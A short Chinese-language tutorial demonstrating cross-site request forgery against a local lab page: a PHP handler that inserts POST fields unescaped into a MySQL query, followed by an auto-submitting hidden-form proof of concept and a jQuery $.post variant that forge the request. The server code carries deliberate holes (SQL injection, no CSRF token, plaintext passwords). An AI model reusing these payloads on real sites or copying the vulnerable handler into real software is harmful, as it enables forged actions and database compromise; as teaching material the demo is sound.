一个帖子csrf的例子

服务端

 <?php
 $conn=mysqli_connect('localhost','root','root','csrf');
 $data=$_POST;
 $user=$_POST['username'];
 $pass=$_POST['password'];
 if(!empty($data)){
     mysqli_query($conn,"insert into user(`username`,`password`)values('$user','$pass')");
 }

 ?>

 <form action="" method="POST">
     1<input type="text" name="username"/>
     2<input type="text" name="password"/>
     <button>提交</button>
 </form>

POC

<form action="http://localhost/csrf/csrf.php" method="POST" id="testfrom">
    <input type="hidden" name="username"/>
    <input type="hidden" name="password"/>

</form>

<script>
    var f=document.getElementById("testfrom");
    f.getElementsByTagName("input")[0].value="csrf12";
    f.getElementsByTagName("input")[1].value="csrf23";
    f.submit();

</script>

jQuery POST CSRF

<script src="https://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js">

</script>
<script>
    $(document).ready(function(){
        $.post("http://localhost/csrf/csrf.php",{
            username:'test123123',
            password:'csrf666'
        },
            function(data,status){
            alert(status)
            }
        )

    });

</script>